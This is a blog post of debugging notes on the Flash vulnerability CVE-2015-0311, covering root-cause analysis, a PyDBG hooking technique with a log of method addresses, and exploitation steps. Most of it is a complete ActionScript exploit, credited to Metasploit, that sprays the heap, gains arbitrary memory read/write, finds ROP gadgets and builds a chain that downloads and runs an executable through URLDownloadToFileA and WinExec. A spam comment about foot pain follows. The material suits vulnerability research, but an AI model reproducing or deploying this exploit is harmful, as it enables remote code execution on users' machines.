CVE-2015-0311 debug notes

This is my first time to analysis the flash sample.
And I will show some skills and experience how to analysis the flash sample.
—-
(1) root cause analysis
ApplicationDomain.currentDomain.domainMemory will point to a global array we defined.
When we do some operation on this array, some exceptions will happened.
we first compress the array,
then we corrupt the array, after this, we uncompress the array, because the data in the array we changed, it will failed, and it has not notified the domainMemory,
So the domainMemory still point to a old array we has free.
Note: we can find the code in the avmplus(open source).
—-
(2) how to start
First we need to find the functions in the flash binary.
It’s hard for us to do this, because it has no symbol table.
And when run the actionscript, the code always jitted.

a Hook setJit|setNative
The param always [method_id,proc], the proc is the address of the jit or native code.
b In the hook point, we call the getMethodName, so we can get the method name.
Then we can get the names according the method id.
c now we can make the breakpoint on the proc of the addr then start analysis.

I write a plugin based on the PyDBG to do this.


setJIT func: 05837e80
flash base addr 05160000
BaseExecMgr::verifyNative addr: 0580e030
flash base addr 05160000
MethodInfo::GetMethodName addr: 05824750

[JIT] Method Id: 2f Proc: 04d19f5a offset: -04460a6
Method Name: Function$/createEmptyFunction

[Native] Method Id: 28 Proc: 057e2ba0 offset: 00682ba0
Method Name: 

[JIT] Method Id: 1a Proc: 04d19d6c offset: -0446294
Method Name: Object$/_dontEnumPrototype

[Native] Method Id: 17 Proc: 057e2b30 offset: 00682b30
Method Name: Object$/_setPropertyIsEnumerable

[Native] Method Id: 5e Proc: 057e2d70 offset: 00682d70
Method Name: Number$/_minValue

[JIT] Method Id: 22 Proc: 04d19896 offset: -044676a
Method Name: Object$/_init

[JIT] Method Id: 532 Proc: 04db5eda offset: -03aa126
Method Name: flash.geom::Rectangle

[JIT] Method Id: 10ea Proc: 04db5e53 offset: -03aa1ad
Method Name: flash.display::Stage

[JIT] Method Id: fd5 Proc: 04db5dc1 offset: -03aa23f
Method Name: flash.display::DisplayObjectContainer

[JIT] Method Id: f4f Proc: 04db5d31 offset: -03aa2cf
Method Name: flash.display::InteractiveObjectVector.

[JIT] Method Id: c6b Proc: 04db5c95 offset: -03aa36b
Method Name: flash.display::DisplayObject

[JIT] Method Id: a4f Proc: 04db5be0 offset: -03aa420
Method Name: flash.events::EventDispatcher

[Native] Method Id: a4e Proc: 053e7ff4 offset: 00287ff4
Method Name: flash.events::EventDispatcher/ctor

[JIT] Method Id: a Proc: 04de45bb offset: -037ba45
Method Name: sample

[JIT] Method Id: 3fe Proc: 04d1983b offset: -04467c5
Method Name: flash.utils::ByteArray

[JIT] Method Id: 107a Proc: 04db5b2d offset: -03aa4d3
Method Name: flash.display::Sprite

[Native] Method Id: 1083 Proc: 053ebb4e offset: 0028bb4e
Method Name: flash.display::Sprite/constructChildren

[Native] Method Id: 405 Proc: 057e2680 offset: 00682680
Method Name: flash.utils::ByteArray/writeUnsignedInt

[JIT] Method Id: 41d Proc: 04d19792 offset: -044686e
Method Name: flash.utils::ByteArray/compress

[Native] Method Id: 41c Proc: 057e2800 offset: 00682800
Method Name: flash.utils::ByteArray/_compress

[Native] Method Id: 8a Proc: 053e4f25 offset: 00284f25
Method Name: 

[Native] Method Id: 93 Proc: 053e4f8a offset: 00284f8a
Method Name: 

[Native] Method Id: 425 Proc: 057e4220 offset: 00684220
Method Name: flash.utils::ByteArray/set position

[Native] Method Id: 417 Proc: 057ecb80 offset: 0068cb80
Method Name: flash.utils::ByteArray/get length

[Native] Method Id: 424 Proc: 057e4210 offset: 00684210
Method Name: flash.utils::ByteArray/get position

[Native] Method Id: 402 Proc: 057e2640 offset: 00682640
Method Name: flash.utils::ByteArray/writeByte

[JIT] Method Id: 420 Proc: 04d196ec offset: -0446914
Method Name: flash.utils::ByteArray/uncompress

[Native] Method Id: 41f Proc: 057e2820 offset: 00682820
Method Name: flash.utils::ByteArray/_uncompress

[JIT] Method Id: 214 Proc: 04d195fc offset: -0446a04
Method Name: flash.errors::IOError

[JIT] Method Id: 1fa Proc: 04d1944a offset: -0446bb6
Method Name: Error

[Native] Method Id: 17e Proc: 057e45b0 offset: 006845b0
Method Name: __AS3__.vec::Vector./set fixed

[Native] Method Id: 3cc Proc: 057e23c0 offset: 006823c0
Method Name: global/avm2.intrinsics.memory::casi32

[Native] Method Id: 429 Proc: 057e2890 offset: 00682890
Method Name: flash.utils::ByteArray/set endian

[Native] Method Id: 418 Proc: 057e41e0 offset: 006841e0
Method Name: flash.utils::ByteArray/set length

[JIT] Method Id: 3 Proc: 04de41ec offset: -037be14
Method Name: sample/vector_read

[JIT] Method Id: 2 Proc: 04de3dea offset: -037c216
Method Name: sample/vector_write

[JIT] Method Id: 4 Proc: 04de39a3 offset: -037c65d
Method Name: sample/byte_write

[JIT] Method Id: 6 Proc: 04de3885 offset: -037c77b
Method Name: sample/base

[JIT] Method Id: 5 Proc: 04de3622 offset: -037c9de
Method Name: sample/byte_read

[Native] Method Id: 411 Proc: 057e2750 offset: 00682750
Method Name: flash.utils::ByteArray/readUnsignedInt

[JIT] Method Id: 7 Proc: 04de2ff4 offset: -037d00c
Method Name: sample/module

After we get the infos, it’s easy for me to make the bp and find the addr in the ida pro.

(2) how to exploit
The steps.
a make the whole memory read|write
we use the casi32 ins to update the vector’s length to achieve this.

b try to leak the module addr
In the heap spray memory, we fill with the this point.
then we can find the main’s vtable addr.

c create the rop code in the memory
b change vt
we update the main’s vtable addr.
c call vt
we call toString()
—————————————–
Following is the poc code from metasploit
I test in the win7+flash 16.0.0.287

package
{
	import flash.display.Sprite;
	import flash.external.ExternalInterface;	
	import flash.utils.ByteArray;
	import flash.utils.Endian;
	import avm2.intrinsics.memory.casi32;
	import flash.system.ApplicationDomain;
	
	
	
	public class sample extends Sprite
	{
		private var data:uint = 0xdeaddead;
		private var uv:Vector. = new Vector.;
		private var spray:Vector. = new Vector.(51200);
		private var ba:ByteArray = new ByteArray();
		
		public static function log(msg:String):void
		{
			var str:String = "";
			str += msg;
			trace(str);
			if(ExternalInterface.available)
			{
				ExternalInterface.call("alert",str);
			}
		}
		
		public function sample()
		{
			
			var i:uint;
			for(i = 0;i<1000;i ++)
			{
				ba.writeUnsignedInt(data++);
			}
			//ba length 4000 == fa0 , it will allocate 0x1000  == 4096
			ba.compress();
			//1730 0x6c2
			ApplicationDomain.currentDomain.domainMemory = ba;
			ba.position = 0x200;
			for(i =0;i < ba.length - ba.position;i ++)
			{
				ba.writeByte(00);
			}
			// Trigger the bug! 
			try{
				ba.uncompress();
			} catch(error:Error) {};
			//size = 3e0*4+8 == 0xf88
			uv[0] = new Vector.(0x3E0);// var test_c:Vector.=new Vector.(0x7f8);
			
			//uv[0].fixed = 0;
			//uv[0].toString();
			
			casi32(0,0x3e0,0xffffffff);//
			
			//
			for (i = 0;i < spray.length; i ++)
			{
				spray[i] = new Vector.(1014); // 1024 - 10 = 0x3f6
				spray[i][0] = ba;
				spray[i][1] = this;
			}
			//poi(poi(edx+0x18)+8+0x2000003*4)-18-0x2000000*4 = 
			//04e1c000 ff ff ff ff 00 20 35 03 00 00 00 00 00 00 00 00 00 00
			//this is the address of the uv[0].
			uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000*4;
			
			//log("uv[0][0]: "+uv[0][0].toString(16));
			uv[0].fixed = 0;
			
			ba.endian = "littleEndian";
			ba.length = 0x500000;
			
			//poi(poi(poi(poi(edx+0x18)+8+0x2000008*4)-1+0x40)+8)
			//04e20000 78 da 15 d3 83 12 00 88 11 05 c1 d8 b6 6d db b6 6d db 
			//Now we can get the buffer of the ba.
			//0x2000008,ba address
			var buffer:uint = vector_read(vector_read(uv[0][0x2000008] -1 + 0x40)+8) + 0x100000;
			//uv[0].fixed = 0;
			//poi(poi(edx+0x18)+8+0x2000009*4)-1
			//0:006> dd poi(poi(edx+0x18)+8+0x2000009*4)-1
			//04e080f8  05d6cc38 600000ff 033f89e0 04e05a18
			//04e08108  00000000 00000000 04e10690 00000000
			//0x2000009 this address. so we can get the main address.
			var main:uint = uv[0][0x2000009]-1;
			var vtable:uint = vector_read(main);
			vector_write(vector_read(uv[0][0x2000008] - 1+0x40)+8);//write the start of the buffer.
			vector_write(vector_read(uv[0][0x2000008] - 1+0x40)+16,0xffffffff);//write the length of the buffer.
			byte_write(uv[0][0]);//we cleare the uv[0][0]
			
			var flash:uint = base(vtable);
			var ieshims:uint = module("kernel32.dll",flash);
			var kernel32:uint = module("kernel32.dll",ieshims);
			var ntdll:uint = module("ntdll.dll",kernel32);
			var urlmon:uint = module("urlmon.dll",flash);
			var virtualprotect:uint = procedure("VirtualProtect",kernel32);
			var winexec:uint = procedure("WinExec",kernel32);
			var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
			var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32);
			var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32);
			var xchgeaxespret:uint = gadget("c394",0x0000ffff,flash);
			var xchgeaxesiret:uint = gadget("c396",0x0000ffff,flash);
			//Coe
			byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
			byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
			byte_write(0, "\x89\x03", false) // mov [ebx], eax
			byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
			
			byte_write(buffer + 0x100, "http://127.0.0.1:8000/calc.exe")
			byte_write(buffer + 0x200, "calc.exe")
			byte_write(buffer + 0x300, "TEMP")
			byte_write(buffer + 0x20070, xchgeaxespret)
			byte_write(buffer + 0x20000, xchgeaxesiret)
			byte_write(0, virtualprotect)
			// VirtualProtect
			byte_write(0, getenvironmentvariable)
			byte_write(0, buffer + 0x30000)
			byte_write(0, 0x1000)
			byte_write(0, 0x40)
			byte_write(0, buffer + 0x400)
			// GetEnvironmentVariable
			byte_write(0, setcurrentdirectory)
			byte_write(0, buffer + 0x300)
			byte_write(0, buffer + 0x400)
			byte_write(0, 100)
			// SetCurrentDirectory
			byte_write(0, urldownloadtofile)
			byte_write(0, buffer + 0x400)
			// URLDownloadToFile
			byte_write(0, winexec)
			byte_write(0)
			byte_write(0, buffer + 0x100)
			byte_write(0, buffer + 0x200)
			byte_write(0)
			byte_write(0)
			// WinExec
			byte_write(0, buffer + 0x30000)
			byte_write(0, buffer + 0x200)
			byte_write(0)
			byte_write(main, buffer + 0x20000)
			//uv[0][0] = buffer;
			//uv[0].fixed = 0;
			toString()
		}
		
		private function vector_write(addr:uint, value:uint=0):void
		{
			addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value;
		}
		private function vector_read(addr:uint):uint
		{
			return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1];
		}
		private function byte_write(addr:uint, value:* = 0,zero:Boolean = true):void
		{
			if(addr) ba.position = addr;
			if (value is String)
			{
				for(var i:uint;i < value.length; i ++)
					ba.writeByte(value.charCodeAt(i))
				if (zero) ba.writeByte(0)
			} else
			{
				ba.writeUnsignedInt(value);
			}
		}
		private function byte_read(addr:uint,type:String="dword"):uint
		{
			ba.position = addr;
			switch(type)
			{
				case "dword":
					return ba.readUnsignedInt();
				case "word":
					return ba.readUnsignedShort();
				case "byte":
					return ba.readUnsignedByte();
			}
			return 0;
		}
		private function base(addr:uint):uint
		{
			addr &= 0xffff0000;
			while(true)
			{
				if(byte_read(addr) == 0x00905a4d) return addr;
				addr -= 0x10000;
			}
			return 0;
		}
		
		private function module(name:String, addr:uint):uint
		{
			var iat:uint = addr + byte_read(addr+byte_read(addr+0x3c)+0x80);
			var i:int = -1;
			while(true)
			{
				var entry:uint = byte_read(iat+(++i)*0x14+12);
				if(!entry)throw new Error("FAIL!");
				ba.position = addr + entry;
				var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
				if(dll_name == name.toUpperCase())
				{
					break;
				}
			}
			return base(byte_read(addr+byte_read(iat+i*0x14+16)));
		}
		
		private function procedure(name:String, addr:uint):uint
		{
			var eat:uint = addr + byte_read(addr+byte_read(addr+0x3c)+0x78);
			var numberOfNames:uint = byte_read(eat+0x18);
			var addressOfFunctions:uint = addr+byte_read(eat+0x1c);
			var addressOfNames:uint = addr + byte_read(eat+0x20);
			var addressOfNameOrinals:uint = addr+byte_read(eat+0x24);
			for(var i:uint=0;;i++)
			{
				var entry:uint = byte_read(addressOfNames+i*4);
				ba.position = addr+entry;
				if(ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase())break;
			}
			return addr+byte_read(addressOfFunctions+byte_read(addressOfNameOrinals+i*2,"word")*4)
		}
		
		private function gadget(gadget:String, hint:uint, addr:uint):uint
		{
			var find:uint = 0
			var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
			var value:uint = parseInt(gadget, 16)
			for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
			return addr + i
		}
	}
	
}

  
    


沙发被抢了,赶快抢前排!

  1. Grow Taller Supplement 2016/01/20 am 11:00

    While some may experience gout pain by intermittent flashes of attack, some sufferers on the other hand experience the discomfort of gout during cold temperature or from immobility.

    Plantar fasciitis can be treated with rest, orthotics, anti-inflammatory
    medications, steroid injections and sometimes surgery.
    A podiatrist may recommend you wear Plantar Fasciitis
    shoes in Dallas TX to relieve foot pain.

    Reply

发表评论

带 * 的是必填项目,电子邮件地址不会被公开。
文字的交流也是情感的交流,技能的交流也是学术的交流。

Are you human? Click the Banana...